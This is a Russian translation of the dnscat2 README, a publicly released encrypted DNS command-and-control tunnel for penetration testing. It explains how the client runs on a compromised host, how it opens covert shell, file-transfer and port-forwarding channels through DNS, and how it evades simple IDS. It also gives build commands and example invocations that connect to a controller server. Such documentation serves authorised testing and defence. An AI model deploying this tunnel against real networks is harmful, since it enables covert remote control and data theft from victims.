
Зашифрованный туннель управления и контроля по протоколу DNS. Создает скрытые каналы C&C для тестирования на проникновение, с возможностями передачи файлов, доступа к оболочке и перенаправления портов через DNS-запросы.
***** ПРИМЕЧАНИЕ: Пароль для загрузок .zip — везде "password"! *****
Добро пожаловать в dnscat2, DNS-туннель, который НЕ сделает вас больным и не убьёт!
Этот инструмент предназначен для создания зашифрованного канала управления и контроля (C&C) через протокол DNS, который является эффективным туннелем из практически любой сети.
Этот файл README должен содержать всё, что вам нужно для начала работы! Если вы заинтересованы в более глубоком изучении протокола, структуры кода, планов на будущее или других эзотерических вещей, загляните в папку doc/.
Этот проект распространяется под лицензией BSD. Для получения дополнительной информации смотрите LICENSE.md.
dnscat2 состоит из двух частей: клиента и сервера.
Клиент предназначен для запуска на взломанной машине. Он написан на C и имеет минимальные возможные зависимости. Он должен работать практически везде (если вы найдёте систему, где он не компилируется или не запускается, пожалуйста, создайте тикет, особенно если вы можете помочь мне получить доступ к этой системе).
При запуске клиента вы обычно указываете доменное имя. Все запросы будут отправляться локальному DNS-серверу, который затем перенаправляет их на авторитативный DNS-сервер для этого домена (которым вы, предположительно, управляете).
Если у вас нет авторитативного DNS-сервера, вы также можете использовать прямые подключения через UDP/53 (или любой другой порт). Они будут быстрее и всё равно будут выглядеть как DNS-трафик для невнимательного наблюдателя, но гораздо более заметны в логах пакетов (все домены имеют префикс "dnscat.", если только вы не измените исходный код). Этот режим часто блокируется брандмауэрами.
Сервер предназначен для запуска на авторитативном DNS-сервере. Он написан на Ruby и зависит от нескольких различных гемов. При его запуске, как и в случае с клиентом, вы указываете, какие домены он должен прослушивать, помимо прослушивания сообщений, отправленных напрямую через UDP/53. Когда он получает трафик для одного из этих доменов, он пытается установить логическое соединение. Если он получает другой трафик, он по умолчанию игнорирует его, но также может перенаправить его вышестоящему серверу.
Подробные инструкции для обеих частей приведены ниже.
dnscat2 стремится отличаться от других протоколов DNS-туннелирования тем, что разработан для особой цели: управления и контроля.
Он не предназначен для того, чтобы выйти из сети отеля или получить бесплатный интернет в самолёте. И он не просто туннелирует TCP.
Он может туннелировать любые данные без привязки к протоколу. Это означает, что он может загружать и скачивать файлы, запускать оболочку, и делает это хорошо. Он также потенциально может туннелировать TCP, но это будет добавлено только в контексте инструмента для пентеста (то есть туннелирование TCP в сеть), а не как инструмент общего назначения. Это уже было сделано, это не интересно (для меня).
Кроме того, он зашифрован по умолчанию. Я не думаю, что какой-либо другой публичный DNS-туннель шифрует весь трафик!
Вот несколько важных ссылок:
Теория dnscat2 проста: он создаёт туннель через протокол DNS.
Почему? Потому что DNS обладает удивительным свойством: он будет переходить от сервера к серверу, пока не выяснит, куда ему нужно попасть.
Это означает, что для вывода трафика из защищённой сети dnscat просто должен отправлять сообщения на DNS-сервер, который с радостью перенаправит их через DNS-сеть, пока они не достигнут вашего DNS-сервера.
Это, конечно, предполагает, что у вас есть доступ к авторитативному DNS-серверу. dnscat2 также поддерживает "прямые" соединения — то есть запуск клиента dnscat, который напрямую подключается к вашему dnscat по вашему IP-адресу и UDP-порту 53 (по умолчанию). Трафик по-прежнему выглядит как DNS-трафик и может обойти более глупые системы IDS/IPS, но, скорее всего, будет остановлен брандмауэрами.
Если вы не уверены, как настроить авторитативный DNS-сервер, это то, что нужно настраивать с провайдером домена. izhan любезно написал инструкцию для вас!
Компиляция клиента должна быть довольно простой — всё, что вам нужно для компиляции, это make/gcc (для Linux) или Cygwin либо Microsoft Visual Studio (для Windows). Вот команды для Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
В Windows загрузите client/win32/dnscat2.vcproj в Visual Studio и нажмите "build". Я создал и тестировал его на Visual Studio 2008 — пока не получу бесплатную легальную копию более новой версии, вероятно, буду придерживаться этой. :)
Если компиляция не удалась, пожалуйста, сообщите об ошибке на моей странице github! Пришлите подробную информацию о вашей системе.
Вы можете проверить успешность компиляции dnscat2, запустив его без флагов; вы увидите, как он пытается запустить DNS-туннель с настроенным DNS-сервером (это не удастся):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating